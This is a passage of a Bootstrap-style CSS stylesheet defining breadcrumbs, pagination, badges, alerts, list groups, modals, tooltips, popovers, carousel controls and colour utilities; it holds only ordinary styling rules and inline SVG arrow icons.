inline-block;\n  padding-right: 0.5rem;\n  padding-left: 0.5rem;\n  color: #868e96;\n  content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: none;\n}\n\n.breadcrumb-item.active {\n  color: #868e96;\n}\n\n.pagination {\n  display: -ms-flexbox;\n  display: flex;\n  padding-left: 0;\n  list-style: none;\n  border-radius: 0.25rem;\n}\n\n.page-item:first-child .page-link {\n  margin-left: 0;\n  border-top-left-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n  border-top-right-radius: 0.25rem;\n  border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n  z-index: 2;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.page-item.disabled .page-link {\n  color: #868e96;\n  pointer-events: none;\n  background-color: #fff;\n  border-color: #ddd;\n}\n\n.page-link {\n  position: relative;\n  display: block;\n  padding: 0.5rem 0.75rem;\n  margin-left: -1px;\n  line-height: 1.25;\n  color: #007bff;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n\n.page-link:focus, .page-link:hover {\n  color: #0056b3;\n  text-decoration: none;\n  background-color: #e9ecef;\n  border-color: #ddd;\n}\n\n.pagination-lg .page-link {\n  padding: 0.75rem 1.5rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n  border-top-left-radius: 0.3rem;\n  border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n  border-top-right-radius: 0.3rem;\n  border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n  border-top-left-radius: 0.2rem;\n  border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n  border-top-right-radius: 0.2rem;\n  border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n  display: inline-block;\n  padding: 0.25em 0.4em;\n  font-size: 75%;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: 0.25rem;\n}\n\n.badge:empty {\n  display: none;\n}\n\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\n.badge-pill {\n  padding-right: 0.6em;\n  padding-left: 0.6em;\n  border-radius: 10rem;\n}\n\n.badge-primary {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.badge-primary[href]:focus, .badge-primary[href]:hover {\n  color: #fff;\n  text-decoration: none;\n  background-color: #0062cc;\n}\n\n.badge-secondary {\n  color: #fff;\n  background-color: #868e96;\n}\n\n.badge-secondary[href]:focus, .badge-secondary[href]:hover {\n  color: #fff;\n  text-decoration: none;\n  background-color: #6c757d;\n}\n\n.badge-success {\n  color: #fff;\n  background-color: #28a745;\n}\n\n.badge-success[href]:focus, .badge-success[href]:hover {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1e7e34;\n}\n\n.badge-info {\n  color: #fff;\n  background-color: #17a2b8;\n}\n\n.badge-info[href]:focus, .badge-info[href]:hover {\n  color: #fff;\n  text-decoration: none;\n  background-color: #117a8b;\n}\n\n.badge-warning {\n  color: #111;\n  background-color: #ffc107;\n}\n\n.badge-warning[href]:focus, .badge-warning[href]:hover {\n  color: #111;\n  text-decoration: none;\n  background-color: #d39e00;\n}\n\n.badge-danger {\n  color: #fff;\n  background-color: #dc3545;\n}\n\n.badge-danger[href]:focus, .badge-danger[href]:hover {\n  color: #fff;\n  text-decoration: none;\n  background-color: #bd2130;\n}\n\n.badge-light {\n  color: #111;\n  background-color: #f8f9fa;\n}\n\n.badge-light[href]:focus, .badge-light[href]:hover {\n  color: #111;\n  text-decoration: none;\n  background-color: #dae0e5;\n}\n\n.badge-dark {\n  color: #fff;\n  background-color: #343a40;\n}\n\n.badge-dark[href]:focus, .badge-dark[href]:hover {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1d2124;\n}\n\n.jumbotron {\n  padding: 2rem 1rem;\n  margin-bottom: 2rem;\n  background-color: #e9ecef;\n  border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n  .jumbotron {\n    padding: 4rem 2rem;\n  }\n}\n\n.jumbotron-fluid {\n  padding-right: 0;\n  padding-left: 0;\n  border-radius: 0;\n}\n\n.alert {\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 1rem;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert-link {\n  font-weight: bold;\n}\n\n.alert-dismissible .close {\n  position: relative;\n  top: -0.75rem;\n  right: -1.25rem;\n  padding: 0.75rem 1.25rem;\n  color: inherit;\n}\n\n.alert-primary {\n  color: #004085;\n  background-color: #cce5ff;\n  border-color: #b8daff;\n}\n\n.alert-primary hr {\n  border-top-color: #9fcdff;\n}\n\n.alert-primary .alert-link {\n  color: #002752;\n}\n\n.alert-secondary {\n  color: #464a4e;\n  background-color: #e7e8ea;\n  border-color: #dddfe2;\n}\n\n.alert-secondary hr {\n  border-top-color: #cfd2d6;\n}\n\n.alert-secondary .alert-link {\n  color: #2e3133;\n}\n\n.alert-success {\n  color: #155724;\n  background-color: #d4edda;\n  border-color: #c3e6cb;\n}\n\n.alert-success hr {\n  border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n  color: #0b2e13;\n}\n\n.alert-info {\n  color: #0c5460;\n  background-color: #d1ecf1;\n  border-color: #bee5eb;\n}\n\n.alert-info hr {\n  border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n  color: #062c33;\n}\n\n.alert-warning {\n  color: #856404;\n  background-color: #fff3cd;\n  border-color: #ffeeba;\n}\n\n.alert-warning hr {\n  border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n  color: #533f03;\n}\n\n.alert-danger {\n  color: #721c24;\n  background-color: #f8d7da;\n  border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n  border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n  color: #491217;\n}\n\n.alert-light {\n  color: #818182;\n  background-color: #fefefe;\n  border-color: #fdfdfe;\n}\n\n.alert-light hr {\n  border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n  color: #686868;\n}\n\n.alert-dark {\n  color: #1b1e21;\n  background-color: #d6d8d9;\n  border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n  border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n  color: #040505;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  display: -ms-flexbox;\n  display: flex;\n  overflow: hidden;\n  font-size: 0.75rem;\n  line-height: 1rem;\n  text-align: center;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.progress-bar {\n  height: 1rem;\n  line-height: 1rem;\n  color: #fff;\n  background-color: #007bff;\n  transition: width 0.6s ease;\n}\n\n.progress-bar-striped {\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n  -webkit-animation: progress-bar-stripes 1s linear infinite;\n          animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: start;\n      align-items: flex-start;\n}\n\n.media-body {\n  -ms-flex: 1;\n      flex: 1;\n}\n\n.list-group {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n      flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n}\n\n.list-group-item-action {\n  width: 100%;\n  color: #495057;\n  text-align: inherit;\n}\n\n.list-group-item-action:focus, .list-group-item-action:hover {\n  color: #495057;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n  color: #212529;\n  background-color: #e9ecef;\n}\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:focus, .list-group-item:hover {\n  text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n  color: #868e96;\n  background-color: #fff;\n}\n\n.list-group-item.active {\n  z-index: 2;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.list-group-flush .list-group-item {\n  border-right: 0;\n  border-left: 0;\n  border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n  border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n  border-bottom: 0;\n}\n\n.list-group-item-primary {\n  color: #004085;\n  background-color: #b8daff;\n}\n\na.list-group-item-primary,\nbutton.list-group-item-primary {\n  color: #004085;\n}\n\na.list-group-item-primary:focus, a.list-group-item-primary:hover,\nbutton.list-group-item-primary:focus,\nbutton.list-group-item-primary:hover {\n  color: #004085;\n  background-color: #9fcdff;\n}\n\na.list-group-item-primary.active,\nbutton.list-group-item-primary.active {\n  color: #fff;\n  background-color: #004085;\n  border-color: #004085;\n}\n\n.list-group-item-secondary {\n  color: #464a4e;\n  background-color: #dddfe2;\n}\n\na.list-group-item-secondary,\nbutton.list-group-item-secondary {\n  color: #464a4e;\n}\n\na.list-group-item-secondary:focus, a.list-group-item-secondary:hover,\nbutton.list-group-item-secondary:focus,\nbutton.list-group-item-secondary:hover {\n  color: #464a4e;\n  background-color: #cfd2d6;\n}\n\na.list-group-item-secondary.active,\nbutton.list-group-item-secondary.active {\n  color: #fff;\n  background-color: #464a4e;\n  border-color: #464a4e;\n}\n\n.list-group-item-success {\n  color: #155724;\n  background-color: #c3e6cb;\n}\n\na.list-group-item-success,\nbutton.list-group-item-success {\n  color: #155724;\n}\n\na.list-group-item-success:focus, a.list-group-item-success:hover,\nbutton.list-group-item-success:focus,\nbutton.list-group-item-success:hover {\n  color: #155724;\n  background-color: #b1dfbb;\n}\n\na.list-group-item-success.active,\nbutton.list-group-item-success.active {\n  color: #fff;\n  background-color: #155724;\n  border-color: #155724;\n}\n\n.list-group-item-info {\n  color: #0c5460;\n  background-color: #bee5eb;\n}\n\na.list-group-item-info,\nbutton.list-group-item-info {\n  color: #0c5460;\n}\n\na.list-group-item-info:focus, a.list-group-item-info:hover,\nbutton.list-group-item-info:focus,\nbutton.list-group-item-info:hover {\n  color: #0c5460;\n  background-color: #abdde5;\n}\n\na.list-group-item-info.active,\nbutton.list-group-item-info.active {\n  color: #fff;\n  background-color: #0c5460;\n  border-color: #0c5460;\n}\n\n.list-group-item-warning {\n  color: #856404;\n  background-color: #ffeeba;\n}\n\na.list-group-item-warning,\nbutton.list-group-item-warning {\n  color: #856404;\n}\n\na.list-group-item-warning:focus, a.list-group-item-warning:hover,\nbutton.list-group-item-warning:focus,\nbutton.list-group-item-warning:hover {\n  color: #856404;\n  background-color: #ffe8a1;\n}\n\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active {\n  color: #fff;\n  background-color: #856404;\n  border-color: #856404;\n}\n\n.list-group-item-danger {\n  color: #721c24;\n  background-color: #f5c6cb;\n}\n\na.list-group-item-danger,\nbutton.list-group-item-danger {\n  color: #721c24;\n}\n\na.list-group-item-danger:focus, a.list-group-item-danger:hover,\nbutton.list-group-item-danger:focus,\nbutton.list-group-item-danger:hover {\n  color: #721c24;\n  background-color: #f1b0b7;\n}\n\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active {\n  color: #fff;\n  background-color: #721c24;\n  border-color: #721c24;\n}\n\n.list-group-item-light {\n  color: #818182;\n  background-color: #fdfdfe;\n}\n\na.list-group-item-light,\nbutton.list-group-item-light {\n  color: #818182;\n}\n\na.list-group-item-light:focus, a.list-group-item-light:hover,\nbutton.list-group-item-light:focus,\nbutton.list-group-item-light:hover {\n  color: #818182;\n  background-color: #ececf6;\n}\n\na.list-group-item-light.active,\nbutton.list-group-item-light.active {\n  color: #fff;\n  background-color: #818182;\n  border-color: #818182;\n}\n\n.list-group-item-dark {\n  color: #1b1e21;\n  background-color: #c6c8ca;\n}\n\na.list-group-item-dark,\nbutton.list-group-item-dark {\n  color: #1b1e21;\n}\n\na.list-group-item-dark:focus, a.list-group-item-dark:hover,\nbutton.list-group-item-dark:focus,\nbutton.list-group-item-dark:hover {\n  color: #1b1e21;\n  background-color: #b9bbbe;\n}\n\na.list-group-item-dark.active,\nbutton.list-group-item-dark.active {\n  color: #fff;\n  background-color: #1b1e21;\n  border-color: #1b1e21;\n}\n\n.close {\n  float: right;\n  font-size: 1.5rem;\n  font-weight: bold;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  opacity: .5;\n}\n\n.close:focus, .close:hover {\n  color: #000;\n  text-decoration: none;\n  opacity: .75;\n}\n\nbutton.close {\n  padding: 0;\n  background: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.modal-open {\n  overflow: hidden;\n}\n\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  outline: 0;\n}\n\n.modal.fade .modal-dialog {\n  transition: -webkit-transform 0.3s ease-out;\n  transition: transform 0.3s ease-out;\n  transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out;\n  -webkit-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n}\n\n.modal.show .modal-dialog {\n  -webkit-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 10px;\n}\n\n.modal-content {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n      flex-direction: column;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n  outline: 0;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop.show {\n  opacity: 0.5;\n}\n\n.modal-header {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n      align-items: center;\n  -ms-flex-pack: justify;\n      justify-content: space-between;\n  padding: 15px;\n  border-bottom: 1px solid #e9ecef;\n}\n\n.modal-title {\n  margin-bottom: 0;\n  line-height: 1.5;\n}\n\n.modal-body {\n  position: relative;\n  -ms-flex: 1 1 auto;\n      flex: 1 1 auto;\n  padding: 15px;\n}\n\n.modal-footer {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n      align-items: center;\n  -ms-flex-pack: end;\n      justify-content: flex-end;\n  padding: 15px;\n  border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n  margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n  margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n\n@media (min-width: 576px) {\n  .modal-dialog {\n    max-width: 500px;\n    margin: 30px auto;\n  }\n  .modal-sm {\n    max-width: 300px;\n  }\n}\n\n@media (min-width: 992px) {\n  .modal-lg {\n    max-width: 800px;\n  }\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  opacity: 0;\n}\n\n.tooltip.show {\n  opacity: 0.9;\n}\n\n.tooltip .arrow {\n  position: absolute;\n  display: block;\n  width: 5px;\n  height: 5px;\n}\n\n.tooltip.bs-tooltip-top, .tooltip.bs-tooltip-auto[x-placement^=\"top\"] {\n  padding: 5px 0;\n}\n\n.tooltip.bs-tooltip-top .arrow, .tooltip.bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n  bottom: 0;\n}\n\n.tooltip.bs-tooltip-top .arrow::before, .tooltip.bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n  margin-left: -3px;\n  content: \"\";\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n\n.tooltip.bs-tooltip-right, .tooltip.bs-tooltip-auto[x-placement^=\"right\"] {\n  padding: 0 5px;\n}\n\n.tooltip.bs-tooltip-right .arrow, .tooltip.bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n  left: 0;\n}\n\n.tooltip.bs-tooltip-right .arrow::before, .tooltip.bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n  margin-top: -3px;\n  content: \"\";\n  border-width: 5px 5px 5px 0;\n  border-right-color: #000;\n}\n\n.tooltip.bs-tooltip-bottom, .tooltip.bs-tooltip-auto[x-placement^=\"bottom\"] {\n  padding: 5px 0;\n}\n\n.tooltip.bs-tooltip-bottom .arrow, .tooltip.bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n  top: 0;\n}\n\n.tooltip.bs-tooltip-bottom .arrow::before, .tooltip.bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n  margin-left: -3px;\n  content: \"\";\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n\n.tooltip.bs-tooltip-left, .tooltip.bs-tooltip-auto[x-placement^=\"left\"] {\n  padding: 0 5px;\n}\n\n.tooltip.bs-tooltip-left .arrow, .tooltip.bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n  right: 0;\n}\n\n.tooltip.bs-tooltip-left .arrow::before, .tooltip.bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n  right: 0;\n  margin-top: -3px;\n  content: \"\";\n  border-width: 5px 0 5px 5px;\n  border-left-color: #000;\n}\n\n.tooltip .arrow::before {\n  position: absolute;\n  border-color: transparent;\n  border-style: solid;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #fff;\n  text-align: center;\n  background-color: #000;\n  border-radius: 0.25rem;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: block;\n  max-width: 276px;\n  padding: 1px;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n}\n\n.popover .arrow {\n  position: absolute;\n  display: block;\n  width: 10px;\n  height: 5px;\n}\n\n.popover .arrow::before,\n.popover .arrow::after {\n  position: absolute;\n  display: block;\n  border-color: transparent;\n  border-style: solid;\n}\n\n.popover .arrow::before {\n  content: \"\";\n  border-width: 11px;\n}\n\n.popover .arrow::after {\n  content: \"\";\n  border-width: 11px;\n}\n\n.popover.bs-popover-top, .popover.bs-popover-auto[x-placement^=\"top\"] {\n  margin-bottom: 10px;\n}\n\n.popover.bs-popover-top .arrow, .popover.bs-popover-auto[x-placement^=\"top\"] .arrow {\n  bottom: 0;\n}\n\n.popover.bs-popover-top .arrow::before, .popover.bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.popover.bs-popover-top .arrow::after, .popover.bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  border-bottom-width: 0;\n}\n\n.popover.bs-popover-top .arrow::before, .popover.bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n  bottom: -11px;\n  margin-left: -6px;\n  border-top-color: rgba(0, 0, 0, 0.25);\n}\n\n.popover.bs-popover-top .arrow::after, .popover.bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  bottom: -10px;\n  margin-left: -6px;\n  border-top-color: #fff;\n}\n\n.popover.bs-popover-right, .popover.bs-popover-auto[x-placement^=\"right\"] {\n  margin-left: 10px;\n}\n\n.popover.bs-popover-right .arrow, .popover.bs-popover-auto[x-placement^=\"right\"] .arrow {\n  left: 0;\n}\n\n.popover.bs-popover-right .arrow::before, .popover.bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.popover.bs-popover-right .arrow::after, .popover.bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  margin-top: -8px;\n  border-left-width: 0;\n}\n\n.popover.bs-popover-right .arrow::before, .popover.bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n  left: -11px;\n  border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.popover.bs-popover-right .arrow::after, .popover.bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  left: -10px;\n  border-right-color: #fff;\n}\n\n.popover.bs-popover-bottom, .popover.bs-popover-auto[x-placement^=\"bottom\"] {\n  margin-top: 10px;\n}\n\n.popover.bs-popover-bottom .arrow, .popover.bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n  top: 0;\n}\n\n.popover.bs-popover-bottom .arrow::before, .popover.bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.popover.bs-popover-bottom .arrow::after, .popover.bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  margin-left: -7px;\n  border-top-width: 0;\n}\n\n.popover.bs-popover-bottom .arrow::before, .popover.bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n  top: -11px;\n  border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.popover.bs-popover-bottom .arrow::after, .popover.bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  top: -10px;\n  border-bottom-color: #fff;\n}\n\n.popover.bs-popover-bottom .popover-header::before, .popover.bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n  position: absolute;\n  top: 0;\n  left: 50%;\n  display: block;\n  width: 20px;\n  margin-left: -10px;\n  content: \"\";\n  border-bottom: 1px solid #f7f7f7;\n}\n\n.popover.bs-popover-left, .popover.bs-popover-auto[x-placement^=\"left\"] {\n  margin-right: 10px;\n}\n\n.popover.bs-popover-left .arrow, .popover.bs-popover-auto[x-placement^=\"left\"] .arrow {\n  right: 0;\n}\n\n.popover.bs-popover-left .arrow::before, .popover.bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.popover.bs-popover-left .arrow::after, .popover.bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  margin-top: -8px;\n  border-right-width: 0;\n}\n\n.popover.bs-popover-left .arrow::before, .popover.bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n  right: -11px;\n  border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.popover.bs-popover-left .arrow::after, .popover.bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  right: -10px;\n  border-left-color: #fff;\n}\n\n.popover-header {\n  padding: 8px 14px;\n  margin-bottom: 0;\n  font-size: 1rem;\n  color: inherit;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-top-left-radius: calc(0.3rem - 1px);\n  border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n  display: none;\n}\n\n.popover-body {\n  padding: 9px 14px;\n  color: #212529;\n}\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-item {\n  position: relative;\n  display: none;\n  -ms-flex-align: center;\n      align-items: center;\n  width: 100%;\n  transition: -webkit-transform 0.6s ease;\n  transition: transform 0.6s ease;\n  transition: transform 0.6s ease, -webkit-transform 0.6s ease;\n  -webkit-backface-visibility: hidden;\n          backface-visibility: hidden;\n  -webkit-perspective: 1000px;\n          perspective: 1000px;\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n  display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n  position: absolute;\n  top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n  -webkit-transform: translateX(0);\n          transform: translateX(0);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-next.carousel-item-left,\n  .carousel-item-prev.carousel-item-right {\n    -webkit-transform: translate3d(0, 0, 0);\n            transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n  -webkit-transform: translateX(100%);\n          transform: translateX(100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-next,\n  .active.carousel-item-right {\n    -webkit-transform: translate3d(100%, 0, 0);\n            transform: translate3d(100%, 0, 0);\n  }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n  -webkit-transform: translateX(-100%);\n          transform: translateX(-100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-prev,\n  .active.carousel-item-left {\n    -webkit-transform: translate3d(-100%, 0, 0);\n            transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n      align-items: center;\n  -ms-flex-pack: center;\n      justify-content: center;\n  width: 15%;\n  color: #fff;\n  text-align: center;\n  opacity: 0.5;\n}\n\n.carousel-control-prev:focus, .carousel-control-prev:hover,\n.carousel-control-next:focus,\n.carousel-control-next:hover {\n  color: #fff;\n  text-decoration: none;\n  outline: 0;\n  opacity: .9;\n}\n\n.carousel-control-prev {\n  left: 0;\n}\n\n.carousel-control-next {\n  right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n  display: inline-block;\n  width: 20px;\n  height: 20px;\n  background: transparent no-repeat center center;\n  background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M4 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M1.5 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n  position: absolute;\n  right: 0;\n  bottom: 10px;\n  left: 0;\n  z-index: 15;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-pack: center;\n      justify-content: center;\n  padding-left: 0;\n  margin-right: 15%;\n  margin-left: 15%;\n  list-style: none;\n}\n\n.carousel-indicators li {\n  position: relative;\n  -ms-flex: 0 1 auto;\n      flex: 0 1 auto;\n  width: 30px;\n  height: 3px;\n  margin-right: 3px;\n  margin-left: 3px;\n  text-indent: -999px;\n  background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n  position: absolute;\n  top: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators li::after {\n  position: absolute;\n  bottom: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators .active {\n  background-color: #fff;\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n}\n\n.align-baseline {\n  vertical-align: baseline !important;\n}\n\n.align-top {\n  vertical-align: top !important;\n}\n\n.align-middle {\n  vertical-align: middle !important;\n}\n\n.align-bottom {\n  vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n  vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n  vertical-align: text-top !important;\n}\n\n.bg-primary {\n  background-color: #007bff !important;\n}\n\na.bg-primary:focus, a.bg-primary:hover {\n  background-color: #0062cc !important;\n}\n\n.bg-secondary {\n  background-color: #868e96 !important;\n}\n\na.bg-secondary:focus, a.bg-secondary:hover {\n  background-color: #6c757d !important;\n}\n\n.bg-success {\n  background-color: #28a745 !important;\n}\n\na.bg-success:focus, a.bg-success:hover {\n  background-color: #1e7e34 !important;\n}\n\n.bg-info {\n  background-color: #17a2b8 